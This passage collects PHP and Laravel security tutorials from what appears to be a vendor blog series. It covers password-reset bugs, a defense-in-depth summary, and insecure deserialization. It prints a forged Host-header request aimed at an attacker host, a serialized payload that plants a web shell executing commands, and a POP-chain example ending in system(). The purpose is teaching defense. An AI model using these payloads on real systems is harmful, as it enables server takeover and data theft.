Type juggling. PHP's == performs type coercion before comparing. In this particular line, both sides are normally well-formed hex strings, so == doesn't hand an attacker an automatic bypass the way it famously did with naive md5() password checks using PHP's "magic hash" quirk (two different hashes that both look like scientific notation for zero comparing as equal under ==). But that's a fact about this specific data shape, not a reason to rely on it — the input validation from Bug #2 is what actually forecloses a type-confusion path (an array or unexpected type slipping through), and == is still the wrong operator on principle for comparing secret-derived values. Use === or hash_equals(), never ==.

Timing. Switching to strict equality raises a subtler question:

if ($row['token_hash'] === hash('sha256', $submittedToken)) { ... }

PHP's native string comparison short-circuits on the first mismatched byte, so === can leak, via response time, how many leading characters of the two hashes matched. It's worth being precise about what that actually exposes: the attacker would be learning about the SHA-256 digest, not recovering your 256-bit random token — directly reversing a hash from partial timing leakage is still computationally infeasible. So this isn't "the primary way an attacker steals your reset token" the way a guessable token generator (Bug #1) is. It's a defense-in-depth concern — a side channel that shouldn't exist, on principle, even though exploiting it here would be extraordinarily impractical.

Fix, regardless:

if (hash_equals($row['token_hash'], hash('sha256', $submittedToken))) {
    // proceed
}

hash_equals() always compares the full length of both strings regardless of where they first differ, so no timing information leaks at all. The right way to think about it: hash_equals() is the correct, cost-free primitive for comparing anything secret-derived — use it by default rather than reasoning case-by-case about whether a particular leak is currently exploitable.

Bug #4: No expiration, or expiration checked wrong

A token that's cryptographically strong and safely compared is still dangerous if it works forever — and the lookup pattern matters too. Rather than fetching a reset record by email and then comparing the submitted token against it, look the record up by the token's hash directly:

$submittedToken = $_GET['token'] ?? null;
if (!is_string($submittedToken) || !preg_match('/^[a-f0-9]{64}$/', $submittedToken)) {
    respond_invalid_or_expired();
}

$tokenHash = hash('sha256', $submittedToken);

$stmt = $pdo->prepare(
  "SELECT id, email, token_hash, expires_at, used
   FROM password_resets
   WHERE token_hash = ?
   LIMIT 1"
);
$stmt->execute([$tokenHash]);
$row = $stmt->fetch();

if (
    !$row
    || $row['used']
    || strtotime($row['expires_at']) <= time()
    || !hash_equals($row['token_hash'], $tokenHash)
) {
    // Generic failure - see Bug #7 for why the wording matters
    respond_invalid_or_expired();
}

The flow becomes token → hash → find record → validate state, instead of email → find record → compare token. It's a small restructuring, but it means a reset link is self-contained: whoever holds the token can look up exactly one record, rather than the query being organized around an email address that isn't even part of what the user presented.

Short expiration windows (15–30 minutes is typical) matter independently of this — reset links get forwarded in email chains, sit in inboxes for months, get pre-fetched by corporate email security scanners that visit every link in an inbox (a real, common cause of tokens getting "used" by a bot before the actual user clicks). An unexpired token from six months ago is an open door regardless of how well everything else is built.

Bug #5: Token reuse — forgetting the token is a one-time credential

Even with expiration, a token is often valid for its entire window and checked only for "does it match and hasn't it expired" — never "has it already been consumed." That means:

A token forwarded to a colleague, or intercepted once, works repeatedly until it expires.
If the reset email is exposed in a proxy log, browser history on a shared machine, or a referrer header leak, anyone with the link can reset the password again later, even after the legitimate user already reset it once.

Fix: mark it used atomically, in the same statement that establishes you're allowed to proceed — this is the part worth internalizing beyond just this feature:

$pdo->beginTransaction();

$stmt = $pdo->prepare(
  "UPDATE password_resets SET used = 1
   WHERE token_hash = ? AND used = 0 AND expires_at > NOW()"
);
$stmt->execute([$tokenHash]);

if ($stmt->rowCount() === 0) {
    $pdo->rollBack();
    respond_invalid_or_expired();
}

$stmt = $pdo->prepare("UPDATE users SET password_hash = ? WHERE email = ?");
$stmt->execute([password_hash($newPassword, PASSWORD_DEFAULT), $row['email']]);
$pdo->commit();

// Invalidate existing sessions here too - a reset should log out
// every other active session, in case the account was already compromised.

The WHERE used = 0 AND expires_at > NOW() inside the same UPDATE closes a race condition that a separate SELECT then UPDATE cannot: two simultaneous requests carrying the same token can't both succeed, because only one UPDATE will actually affect a row. Checking a credential and consuming it need to be one atomic state transition, not two sequential steps — that principle applies well beyond password resets, to anything single-use: invite codes, coupon redemptions, idempotency keys.

Bug #6: Host header injection in the reset link itself

This one doesn't live in your token logic at all — it lives in how you build the URL you email.

// DON'T DO THIS
$resetLink = "https://" . $_SERVER['HTTP_HOST'] . "/reset?token=" . $token;
mail($email, "Reset your password", "Click here: $resetLink");

$_SERVER['HTTP_HOST'] (and X-Forwarded-Host) is a request header the client controls. Whether this is exploitable depends on your specific deployment — namely, whether the application or the proxy/load balancer in front of it accepts and forwards an attacker-controlled Host value instead of stripping or validating it. Where that's true, an attacker can submit a password reset request with a forged header:

POST /forgot-password HTTP/1.1
Host: attacker-controlled.com
...
email=victim@example.com

Your server dutifully generates a valid, correctly-hashed, properly-expiring, single-use token and emails the victim a link pointing to https://attacker-controlled.com/reset?token=.... The victim, trusting an email that genuinely came from your mail server, clicks it. The attacker's server logs the token and immediately replays it against your real reset endpoint. Every other bug we just fixed becomes irrelevant, because the entire token was handed to the attacker by the victim's own click.

This is a real, repeatedly-disclosed class of vulnerability, not a theoretical one — it's shown up in production frameworks and CMSs specifically through "forgot password" emails, precisely because that flow is one of the few places an app builds an absolute URL from request-influenced data and sends it somewhere sensitive.

Fix: never trust the Host header for anything security-relevant. Use a hardcoded or config-driven application URL:

// config.php
define('APP_BASE_URL', 'https://app.example.com'); // never derived from the request

$resetLink = APP_BASE_URL . '/reset?token=' . urlencode($token);

If you must support multiple environments, validate HTTP_HOST against an explicit allowlist at the point it enters your app — but for anything going into an email or a redirect, a config value is simpler and safer than validation logic you have to get right every time.

Bug #7: Enumeration and abuse — two separate problems, one endpoint

Even a perfect implementation of everything above leaks information if the endpoint responds differently depending on what happened internally:

if (!$userExists) {
    return "No account found with that email."; // enumeration
}
if ($tokenInvalid) {
    return "Token invalid.";
}
if ($tokenExpired) {
    return "Token expired.";
}

It helps to treat these as two distinct problems, because they have two distinct fixes.

Account enumeration is about what the response reveals. Returning "No account found" vs. a success message tells an attacker which emails are registered — useful for building a credential-stuffing target list against a different, much larger breach.

// Same response whether or not the email exists
respond_generic("If that email is registered, a reset link has been sent.");

Abuse is about how often the endpoint can be hit at all — flooding a victim's inbox with reset emails, or, if some earlier bug survived, brute-forcing tokens live against the endpoint rather than offline.

if (attempts_exceeded($email, $window = 3600, $max = 3)
    || attempts_exceeded($ip, $window = 3600, $max = 10)) {
    // still return the generic message - don't let the rate limiter
    // itself become a new oracle by responding differently once triggered
    respond_generic("If that email is registered, a reset link has been sent.");
    return;
}

Generic responses close the enumeration leak; rate limiting closes the abuse vector. They solve different problems and aren't substitutes for each other — a beautifully generic response message still doesn't stop someone from hammering the endpoint 50,000 times a minute, and a strict rate limit doesn't stop an attacker from telling registered emails apart on their very first request.

Rate limit by email and by IP, independently — email-only limiting lets an attacker distribute requests across many IPs, IP-only limiting lets them rotate target emails from one machine.

What Laravel already does for you

If you're building this on Laravel rather than raw PHP, the built-in Password broker (Illuminate\Auth\Passwords\PasswordBroker) already handles several of these correctly out of the box:

use Illuminate\Support\Facades\Password;

$status = Password::sendResetLink(
    $request->only('email')
);

Token generation uses a cryptographically secure random string, and Laravel stores only its hash in the password_reset_tokens table — Bugs #1 and #2 are handled for you.
Comparison goes through hash_equals() internally when validating the submitted token against the stored hash — Bug #3 is handled.
Expiration is configurable via auth.php:

'passwords' => [
    'users' => [
        'provider' => 'users',
        'table' => 'password_reset_tokens',
        'expire' => 60,     // minutes
        'throttle' => 60,   // seconds between requests
    ],
],

The throttle value gives you request-level rate limiting on the sending side for free — Bug #7's abuse half is largely covered.

Enumeration is handled if you use the generic status messages Laravel already returns (PASSWORD_RESET_LINK_SENT etc.) rather than branching your own response on Password::INVALID_USER.

What Laravel does not automatically save you from:

Bug #5 (reuse): Laravel deletes the token row after a successful reset, so a single successful use does invalidate it — but if you've customized the reset controller and swapped in your own completion logic, it's easy to lose that deletion. Confirm Password::reset() (or your override) actually removes the row, and consider also revoking existing sessions/tokens for the user as part of that same flow, since Laravel doesn't do that for you by default.
Bug #6 (host header injection): this is the one Laravel developers miss most often, because url() and route() helpers build absolute URLs from the current request's host by default. If your app sits behind a proxy that isn't listed in TrustProxies, or if APP_URL isn't set and Laravel falls back to inferring the host, a forged Host/X-Forwarded-Host header can still end up baked into the reset email. Set APP_URL explicitly in .env, configure TrustProxies (or Laravel's trustProxies() in bootstrap/app.php on newer versions) to only trust your actual load balancer, and consider using URL::forceRootUrl() for anything as sensitive as a password reset link.
IP-based throttling on the reset submission endpoint (as opposed to the send-link endpoint) still needs Laravel's throttle middleware applied explicitly to that route — the framework's built-in throttle config governs how often a link can be requested, not how many reset attempts can be made against a given token.

The takeaway isn't "Laravel is safe, raw PHP is dangerous" — it's that a framework encoding these decisions for you is exactly the kind of defense-in-depth that raises the floor. It also means the two places worth double-checking in any Laravel app are the ones the framework can't infer on your behalf: what happens to the token row after a successful reset, and where the host in that email link actually comes from.

Putting it together

None of these seven bugs is exotic. Individually, each is a small, well-known fix. What makes password reset a genuinely dangerous feature is that it sits at the intersection of all of them simultaneously — cryptographic randomness, safe comparison, database hygiene, time handling, transactional state, trust boundaries around the Host header, and abuse prevention — all in a flow that's maybe 80 lines of code (or a few config values, in Laravel).

That's also exactly why it's worth building once, correctly, as a reference rather than reimplementing from memory in every project, or trusting a framework default you've never actually read. If you've internalized random_bytes(), hash_equals(), rate limiting, and the type-juggling pitfalls of == as separate facts, this flow is where you find out whether you understand why each one exists, not just that it exists.

Code review and correct primitives are the first layer. They should catch all seven of these before anything ships. A second, independent layer — logging and flagging unusual traffic patterns against the reset endpoint itself, like repeated token attempts from one source or a burst of requests across many emails from one IP — doesn't fix a broken implementation, but it does mean that if something upstream slips through anyway, you find out from a log line instead of a breach report. Tools built for exactly that job (Kriosa is one example, for PHP and Laravel apps specifically) sit at the application boundary and watch for that kind of probing without touching the reset logic itself — worth having, but never a substitute for getting the seven bugs above right first.

If you're auditing an existing reset flow, the fastest way to find problems is usually: read the token generation line, read the comparison line, then check whether the Host header ever touches the emailed URL. Those three spots account for the large majority of real-world reset vulnerabilities.

What Is Kriosa?

For password reset flows, Kriosa can provide an additional detection and visibility layer by helping surface suspicious request patterns associated with attempts to probe, brute-force, or abuse a "forgot password" endpoint.

But Kriosa is not a replacement for building the reset flow correctly.

If your application exposes a password reset endpoint, the primary fix is to get the flow itself right: cryptographically random tokens, constant-time comparison, single-use enforcement, generic responses, and a reset link built from a trusted URL rather than the request's Host header.

Think of Kriosa as defense in depth, not a substitute for a correctly implemented reset flow.

How Kriosa Can Help Detect Suspicious Reset-Flow Activity

Password reset abuse is fundamentally an application-layer problem.

The dangerous condition is not simply that someone submitted a password reset request. Legitimate users forget passwords constantly, and a single reset request is completely normal.

The real problem is when a pattern of requests suggests someone is probing the flow itself — testing whether emails exist, guessing at tokens, replaying old links, or hammering the endpoint from many sources at once.

That makes detection useful as an additional layer, but it does not change where the vulnerability must ultimately be fixed: in the reset flow's own logic.

Patterns worth investigating include:

Many reset requests for different emails from one IP (enumeration sweep)
Repeated token attempts against the reset-submission endpoint (token brute-forcing)
A token being presented after it should already be expired or used (replay)
Reset requests whose Host header doesn't match the app's known domain (host header injection attempts)

For example, a burst of POST /reset-password requests carrying malformed or near-miss tokens against a single account may be worth investigating even though no individual request looks obviously malicious.

The important word is pattern.

A single reset request, or a single wrong token, is not automatically an attack. Context and volume matter.

Kriosa can add another layer of visibility by helping developers identify suspicious request patterns, unusual timing between requests, and repeated probing of the forgot-password and reset-submission endpoints.

The distinction is important:

A detection signal is not proof of an attack, and detection is not the same as prevention.

Prevention Comes First

The application should still:

Generate tokens with random_bytes(), never md5(time()), uniqid(), or mt_rand().
Store only a hash of the token, never the raw value.
Compare tokens with hash_equals(), never == or bare ===.
Enforce a short expiration window and mark tokens used atomically, in the same query that checks them.
Return the same generic response regardless of whether the email exists, whether the token was wrong, or whether it expired.
Build the reset link from a hardcoded or config-driven application URL, never from $_SERVER['HTTP_HOST'].
Rate limit by email and by IP independently, on both the send-link and reset-submission endpoints.

These controls address the vulnerability itself.

Detection Adds Another Layer

A correctly built reset flow closes off the known failure modes, but it does not guarantee that every future change to the flow preserves that correctness.

An attacker sweeping an endpoint with many emails, or repeatedly submitting near-miss tokens against one account, may be attempting to find a gap in the implementation — or attempting to brute-force it live.

That activity is useful security telemetry.

Kriosa is designed to provide additional application-level visibility into suspicious traffic — helping developers detect, log, investigate, and respond to activity that may indicate an attack on the reset flow.

In Laravel applications, the built-in PasswordBroker already handles token generation, hashing, and comparison correctly out of the box. But two things it doesn't automatically catch are a forged Host/X-Forwarded-Host header ending up in the emailed link, and abnormal request volume against the reset-submission route rather than the send-link route. Both are exactly the kind of traffic pattern a detection layer is positioned to flag.

The goal is not to make a broken reset flow safe.

The goal is to get the flow right first, then add visibility around the traffic attempting to reach it.

Why Kriosa?

Security controls can fail.

A developer can copy a token-generation snippet from an old tutorial that used md5(time()). A custom override of the reset controller can quietly drop the "delete token after use" step. A proxy change can stop stripping a forged Host header before it reaches the app. A rate limit can get applied to the wrong route.

That is why defense in depth matters.

A practical security model can look like:

Secure flow → Input validation → Detection → Logging & response

Kriosa fits into the detection layer.

Your reset flow should prevent the vulnerability.

Your validation should reject malformed tokens and unexpected input.

Kriosa can provide additional visibility into suspicious application traffic.

Your logs and monitoring can help you investigate and respond.

Kriosa does not replace a secure reset flow. It adds another layer for detecting and monitoring the traffic that reaches it.

Password Reset Flow Security Checklist

Before shipping a "forgot password" feature in PHP or Laravel, ask:

[ ] Do I generate tokens with random_bytes(), not md5(time()), uniqid(), or mt_rand()?
[ ] Do I store only a hash of the token, never the raw value?
[ ] Do I compare tokens with hash_equals(), never ==?
[ ] Do I validate the shape of the submitted token before it reaches a query or hash function?
[ ] Is the token's expiration checked, and short (15–30 minutes)?
[ ] Is the token marked used atomically, in the same statement that validates it?
[ ] Does a successful reset invalidate the token and existing sessions?
[ ] Does the endpoint return the same generic response whether the email exists, the token is wrong, or it's expired?
[ ] Is the reset link built from a config-driven APP_URL, never from the request's Host header?
[ ] If behind a proxy, is TrustProxies (or equivalent) configured to trust only the real load balancer?
[ ] Am I rate limiting by email and by IP independently, on both the send-link and reset-submission endpoints?
[ ] Are suspicious requests against the reset endpoints being logged and monitored?
[ ] Do I have an additional detection layer for probing or brute-force patterns on the reset flow?

The goal isn't simply to use the right primitives once.

The goal is to make sure an attacker never gets the chance to guess, replay, or hijack a reset link that should only ever reach one legitimate user.

Try Kriosa

If you want an additional application-level security layer for your PHP or Laravel application:

Try Kriosa: kriosa.com

Install it with:

composer require kriosa-ai/kriosa-php

Documentation: kriosa.com/documentation.php

Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.

Defense in Depth — How Every Layer in This Series Works Together

Nchiminyi — Founder, Kriosa — Tue, 08 Sep 2026 10:07:29 +0000

This is the twentieth and final article in the PHP and Laravel security series.

Over the past nineteen articles we covered:

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries — the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: How attackers enumerate your Laravel app before exploiting it
Article 7: File upload security — the file that isn't what it claims to be
Article 8: Path traversal in PHP — how ../ escapes your application
Article 9: Command injection in PHP — when exec() becomes an attack surface
Article 10: Broken access control in Laravel — why being logged in is not enough
Article 11: Secrets in Laravel — why .env is only the beginning
Article 12: Session security in PHP — what most developers get wrong
Article 13: Rate limiting in Laravel and PHP — how to stop brute force before it starts
Article 14: Security headers in PHP and Laravel — the lines that harden every response
Article 15: IDOR in PHP and Laravel — when changing one number exposes someone else's data
Article 16: Mass assignment in PHP and Laravel — when user input becomes more than it should
Article 17: Open redirect vulnerabilities in PHP and Laravel
Article 18: PHP type juggling — when 0 equals admin
Article 19: Insecure deserialization in PHP — the vulnerability hiding in your cache

Each article taught one attack. One defense. One layer.

This article answers the question that matters after reading all nineteen: how do you put it all together into one application that actually holds?

Why One Layer Is Never Enough

Every security control in this series can be bypassed in isolation.

Parameterized queries stop SQL injection but they do not stop path traversal. Security headers reduce XSS impact but they do not replace output encoding. Rate limiting slows brute force but it does not catch credential stuffing distributed across thousands of IP addresses.

Security works because controls overlap. Each layer catches what the others miss. When one control fails another is already in place.

The attacker needs to find one gap. You need to close all of them.

That is defense in depth. Not a product. Not a checklist you complete once. A set of overlapping layers that together create a posture significantly harder to breach than any single control alone.

The Attack Journey — What Each Layer Stops

To understand why every layer matters follow a real attack from reconnaissance to breach and see exactly which control stops it at each stage.

Stage 1 — Reconnaissance

Before an attacker exploits your application they study it. They look for debug mode left on, .env files accessible via browser, .git directories exposed, default error pages revealing framework versions, admin panels at predictable URLs, and developer tools accessible without authentication.

Article 6 and Article 11 address this. An application that leaks no information during reconnaissance forces the attacker to work blind. They cannot target known vulnerabilities in your framework version. They cannot enumerate routes. They cannot find admin panels to brute force.

Stage 2 — Input Testing

The attacker sends malicious input to every parameter they can find — SQL injection payloads, XSS scripts, path traversal sequences, command separators, type juggling values.

Articles 4, 5, 8, 9, and 18 address this. Parameterized queries mean SQL injection payloads hit prepared statements and return no result. Output encoding means XSS payloads render as text not code. realpath() validation means traversal sequences resolve to blocked paths. Shell function avoidance and escapeshellarg() reduce command injection risk. Strict comparison means type juggling payloads fail at the comparison layer.

Stage 3 — Authentication Attack

The attacker cannot get in through injection so they target authentication — brute force, credential stuffing, session attacks.

Article 12 and Article 13 address this. Rate limiting makes brute force significantly slower — 5 attempts per minute means 10,000 passwords takes hours instead of seconds. Session regeneration after login prevents fixation. Cookie security attributes HttpOnly and Secure help prevent session theft through certain vectors. Strong password hashing and password_verify() prevent type juggling bypasses on login.

Stage 4 — Privilege Escalation

The attacker gets in as a regular user. Now they try to reach higher privileges.

Articles 10, 15, 16, and 19 address this. $fillable and Form Requests mean extra fields in requests are silently ignored. Scoped queries and policies mean resource ID changes return 404 for resources that do not belong to the user. Middleware and authorization checks mean privileged endpoints reject unauthorized requests.

Stage 5 — Data Exfiltration and Persistence

The attacker has access. Now they try to steal data or leave a backdoor.

Articles 7, 9, 11, 17, and 19 address this. Files stored outside the web root with random names cannot be executed via URL. Secret management practices mean credentials are not accessible through misconfigured endpoints. Whitelist-based redirects mean your domain cannot be weaponized for phishing. JSON serialization means web shell injection through deserialization has no attack surface.

The Complete Layer Map

Attack Stage	Topic	Article
Reconnaissance	Enumeration and information leakage	6
Reconnaissance	Secret and environment exposure	11
Input injection	SQL injection detection and prevention	1, 2, 3, 4
Input injection	XSS prevention	5
Input injection	Path traversal	8
Input injection	Command injection	9
Input injection	Type juggling	18
Input file handling	File upload security	7
Authentication	Brute force and credential stuffing	13
Authentication	Session security	12
Privilege escalation	Mass assignment	16
Privilege escalation	IDOR	15
Privilege escalation	Broken access control	10
Privilege escalation	Deserialization	19
Data handling	Secrets management	11
Navigation	Open redirect	17
Browser layer	Security headers	14
All stages	App security and Behavioral monitoring and AI detection	Kriosa

No single article covers every stage. Every stage requires multiple articles. That is the point.

The Checklist — Everything in One Place

Before first deployment:

APP_DEBUG=false and APP_ENV=production
.env in .gitignore before first commit
No secrets hardcoded anywhere in the codebase
All database queries use parameterized statements
All output encoded with {{ }} in Blade — {!! !!} reviewed explicitly
$fillable defined on every Eloquent model that accepts user input
All file uploads validated for content, stored with random names outside the web root
PHP execution disabled in any directory that stores user uploads
Security headers middleware registered globally
HTTPS configured before enabling HSTS

Authentication and sessions:

session_regenerate_id(true) called after every login
Session cookie attributes: HttpOnly, Secure, SameSite=Lax
password_verify() used for all password comparisons
hash_equals() used for all token comparisons
Rate limiting applied to login, password reset, registration, and OTP endpoints
Three-step logout: Auth::logout(), invalidate(), regenerateToken()

Authorization:

Every resource endpoint has an ownership check — not just authentication
Scoped queries used as the default pattern
Policies implemented for complex authorization logic
API endpoints have the same authorization checks as web endpoints
Sensitive fields absent from $fillable: role, is_admin, balance, email_verified_at

Input handling:

=== used for all equality comparisons in security contexts
in_array() always called with true as the third argument
json_encode()/json_decode() used instead of serialize()/unserialize() where possible
unserialize() called with ['allowed_classes' => false] when unavoidable
Shell functions avoided where PHP native alternatives exist
realpath() used to validate file paths before filesystem operations
All redirect destinations validated against a whitelist or restricted to relative URLs

Server and infrastructure:

Directory listing disabled
Technology headers removed
.git, .env, and backup files blocked at web server level
Developer tools behind authentication or IP restriction
Redis and queue storage on private networks
composer audit running in CI/CD pipeline
composer install used in production — never composer update
composer.lock committed to version control

Ongoing:

Security headers scanner run after every deployment
Logs reviewed for rate limit violations, 403 patterns, and sequential ID requests
Automated vulnerability alerts enabled for dependencies
Secret rotation plan tested for every secret in the application

What This Series Covers

Nineteen articles. Nineteen attack vectors. Nineteen defensive layers.

A developer who has read and implemented every article in this series has addressed many of the most common vulnerability classes found in PHP and Laravel applications today — including multiple categories from the OWASP Top 10.

That is not a complete security posture. Security is never complete. New vulnerabilities are discovered. Dependencies introduce risks. Configurations drift. Developer mistakes happen.

But it is a foundation that makes your application meaningfully harder to breach than the average PHP application running in production today.

The Layer This Series Cannot Replace

Every control in this series is preventive. It stops attacks from succeeding at the application layer.

But prevention alone has a gap — it cannot tell you when someone is trying.

A developer who has implemented every article in this series has no visibility into which endpoints are being probed right now, whether resource ID enumeration is happening, whether credential stuffing is running below rate limit thresholds, or whether reconnaissance is underway.

That detection and visibility is what Kriosa is built to provide.

Kriosa sits in front of your PHP application and inspects incoming requests for attack patterns and behavioral signals before they reach your code. When something is flagged it surfaces an explanation in the dashboard — what was detected, why it was flagged, and what the request looked like.

It is not a replacement for any article in this series. Parameterized queries, session regeneration, $fillable, and hash_equals() are application-layer controls that Kriosa cannot replicate. Those come first.

Kriosa is the detection layer on top of them.

Try it free: kriosa.com
Install it: composer require kriosa-ai/kriosa-php

What Comes Next

This series is twenty articles. Twenty attack vectors. Twenty defensive layers.

The next step is not more reading.

It is applying what you have learned to a real PHP application running in production right now.

Start with the checklist in this article. Run the audit commands from articles 4, 8, 9, 15, and 16 against your own codebase. Check your session configuration against article 12. Verify your rate limiting against article 13. Run composer audit against your dependencies.

One hour of auditing a real codebase teaches more than ten more articles.

Then install Kriosa — one composer command — and see what is actually hitting your application. Not what you think is hitting it. What is actually there.

The series taught the mindset. Now use it.

A Final Word

This series started with one question — what does a SQL injection attack actually look like in your PHP logs?

It ended nineteen articles later with defense in depth.

In between we covered every major attack vector hitting PHP applications today. Every article followed the same principle: understand the attack before you try to stop it.

That principle does not change after the series ends. New vulnerabilities will be discovered. New attack techniques will emerge. The mindset — understand first, then defend — is what makes security knowledge durable.

The series taught the mindset. Kriosa watches the traffic.

Built by a developer from Cameroon, for developers who want to understand their security — not just outsource it.

The Complete Series

Article 1: What your PHP logs actually look like during a SQL injection attack
Article 2: Why URL encoding can break PHP security checks
Article 3: The decode bomb problem — why unlimited URL decoding can be its own vulnerability
Article 4: Parameterized queries — the only real fix for SQL injection
Article 5: XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
Article 6: How attackers enumerate your Laravel app and what to hide
Article 7: File upload security in PHP and Laravel
Article 8: Path traversal in PHP — how ../ escapes your application
Article 9: Command injection in PHP — when exec() becomes an attack surface
Article 10: Broken access control in Laravel — why being logged in is not enough
Article 11: Secrets in Laravel — why .env is only the beginning
Article 12: Session security in PHP — what most developers get wrong
Article 13: Rate limiting in Laravel and PHP — how to stop brute force before it starts
Article 14: Security headers in PHP and Laravel — the lines that harden every response
Article 15: IDOR in PHP and Laravel — when changing one number exposes someone else's data
Article 16: Mass assignment in PHP and Laravel — when user input becomes more than it should
Article 17: Open redirect vulnerabilities in PHP and Laravel
Article 18: PHP type juggling — when 0 equals admin
Article 19: Insecure deserialization in PHP — the vulnerability hiding in your cache
Article 20: This article — defense in depth and how every layer works together

Insecure Deserialization in PHP — When Your Cache Becomes an Attack Surface

Nchiminyi — Founder, Kriosa — Fri, 04 Sep 2026 17:10:34 +0000

unserialize() does more than restore data. With attacker-controlled input, object instantiation and magic methods can turn a data parser into a code-execution path.

This is the nineteenth article in a series on PHP and Laravel application security.

So far we have covered:

Detecting SQL injection attempts in PHP logs
Why URL encoding blinds most PHP security checks
The decode bomb problem with unlimited URL decoding
Why parameterized queries are the only real fix for SQL injection
XSS prevention in Laravel and why {!! !!} is the line between safe and hacked
How attackers enumerate your Laravel app before exploiting it
File upload security — the file that isn't what it claims to be
Path traversal in PHP — how ../ escapes your application
Command injection in PHP — when exec() becomes an attack surface
Broken access control in Laravel — why being logged in is not enough
Secrets in Laravel — why .env is only the beginning
Session security in PHP — what most developers get wrong
Rate limiting in Laravel and PHP — how to stop brute force before it starts
Security headers in PHP and Laravel — the lines that harden every response
IDOR in PHP and Laravel — when changing one number exposes someone else's data
Mass assignment in PHP and Laravel — when user input becomes more than it should
Open redirect vulnerabilities in PHP and Laravel
PHP type juggling — when 0 equals admin

Every article in this series follows the same principle: understand the attack before you try to stop it.

Insecure deserialization is the most technically complex vulnerability in this series. It is also one of the most severe. When a usable gadget chain exists, insecure deserialization can escalate from attacker-controlled data into arbitrary code execution. Other outcomes are possible too file manipulation, arbitrary method execution, SSRF, data deletion or modification, or application crashes but the code-execution scenario is why this class of bug gets so much attention.

Understanding it requires understanding how PHP serialization works from the inside.

What Serialization Actually Is

Serialization is converting a data structure — an object, an array, a complex type — into a string that can be stored or transmitted and later reconstructed.

PHP has two functions for this:

// Serialize — convert object to string
$data = serialize($object);
// Produces: O:4:"User":2:{s:4:"name";s:4:"John";s:5:"email";s:16:"john@example.com";}

// Unserialize — convert string back to object
$object = unserialize($data);

The serialized string encodes the class name, property names, property values, and the type of each value. When you call unserialize() PHP reconstructs the original object from that string including instantiating the class.

That last part instantiating the class — is where the vulnerability begins. It's worth being precise here: unserialize() does not itself execute arbitrary PHP code. The danger is that deserializing attacker-controlled objects can instantiate classes and invoke magic methods, and if suitable application "gadgets" exist, that chain of method calls can lead to code execution. PHP's own documentation explicitly warns against passing untrusted data to unserialize().

Magic Methods — The Attack Surface

PHP classes can define magic methods that execute automatically at specific points in an object's lifecycle:

class Example
{
    // Called when object is created
    public function __construct() { }

    // Called when unserialize() restores the object (legacy)
    public function __wakeup() { }

    // Called when unserialize() restores the object (PHP 7.4+)
    public function __unserialize(array $data) { }

    // Called when object is destroyed or goes out of scope
    public function __destruct() { }

    // Called when object is used as a string
    public function __toString() { }

    // Called when accessing undefined property
    public function __get($name) { }

    // Called when invoking object as function
    public function __invoke() { }
}

When unserialize() processes a serialized string it:

Reads the class name from the string
Creates an instance of that class
Sets the properties to the values encoded in the string
Calls __unserialize() if the class defines it; otherwise __wakeup() if available

The critical insight: the attacker controls the serialized string. They control which class gets instantiated, and they control the property values on that object. They do not control the code inside __wakeup(), __unserialize(), or __destruct() — but if a class already contains one of these magic methods, the attacker-controlled property values can influence what that existing method does when it runs automatically.

A Simple Deserialization Attack

Imagine your application has this class somewhere in the codebase:

class FileLogger
{
    public string $logFile;
    public string $logMessage;

    public function __destruct()
    {
        file_put_contents($this->logFile, $this->logMessage);
    }
}

(Because the properties are typed, this example requires PHP 7.4 or later.)

This class looks harmless. It just writes a log message to a file. It might be used legitimately elsewhere in the application.

Now your application accepts a serialized cookie and unserializes it:

$data = unserialize($_COOKIE['user_data']);

An attacker crafts a serialized FileLogger object:

$malicious = new FileLogger();
$malicious->logFile = '/var/www/public/shell.php';
$malicious->logMessage = '<?php system($_GET["cmd"]); ?>';
echo serialize($malicious);
// O:10:"FileLogger":2:{s:7:"logFile";s:25:"/var/www/public/shell.php";s:10:"logMessage";s:30:"<?php system($_GET["cmd"]); ?>";}

They set this as their cookie. Your application calls unserialize(). PHP instantiates a FileLogger object with their property values. When the object is destroyed at the end of the request __destruct() runs — writing a PHP web shell to your public directory.

The attacker now visits /shell.php?cmd=whoami and has command execution on your server.

This is PHP object injection through insecure deserialization.

POP Chains — Property Oriented Programming

Real-world deserialization attacks rarely use a single class. They chain multiple classes together each one's magic method triggering the next to achieve code execution. These are called POP chains (Property Oriented Programming chains) or gadget chains.

A POP chain abuses classes that already exist in the application. The attacker supplies an object graph whose properties cause existing magic methods and other methods to call one another until a dangerous operation is reached. None of the individual classes need to look dangerous on their own.

A simplified example:

class A
{
    public $b;

    public function __wakeup()
    {
        // Calls __toString on $this->b
        echo $this->b;
    }
}

class B
{
    public $c;

    public function __toString()
    {
        // Calls __invoke on $this->c
        return ($this->c)();
    }
}

class C
{
    public $command;

    public function __invoke()
    {
        // Executes arbitrary command
        return system($this->command);
    }
}

An attacker serializes:

$c = new C();
$c->command = 'id';

$b = new B();
$b->c = $c;

$a = new A();
$a->b = $b;

echo serialize($a);

When the serialized string is unserialized:

A::__wakeup() fires — echoes $this->b
Echoing a B object triggers B::__toString()
__toString() invokes $this->c as a function
Invoking a C object triggers C::__invoke()
__invoke() calls system($this->command)
The attacker's command executes

None of these classes individually look dangerous. The vulnerability comes from how they chain together when an attacker controls the deserialized object graph.

Where Deserialization Vulnerabilities Appear

1. Cookies:

// Dangerous
$user = unserialize($_COOKIE['user']);

// The cookie value is entirely attacker-controlled

2. GET and POST parameters:

// Dangerous
$data = unserialize($_GET['data']);
$config = unserialize($_POST['config']);

3. Database fields:

// Dangerous — if the serialized data was ever user-supplied
$preferences = unserialize($user->preferences);

4. Cache:

// Potentially dangerous — depends on what was cached and who could influence it
$cached = unserialize(Redis::get('user:' . $userId));

5. Session data:
Some PHP session configurations and frameworks use serialization to represent session data, but whether PHP's serialize() format is actually used depends on the session handler and configuration — not every PHP session file is simply the output of serialize(). If an attacker can write to or influence session storage, and that storage is deserialized in PHP's native format, they may be able to inject malicious serialized objects.

Laravel and Deserialization

Laravel's queue system serializes jobs so they can be stored by the configured queue driver and reconstructed by a worker later:

dispatch(new ProcessOrder($order));

The important distinction is that normal Laravel queue payloads are generated by the application. An ordinary user does not automatically get to replace those payloads with arbitrary serialized PHP objects.

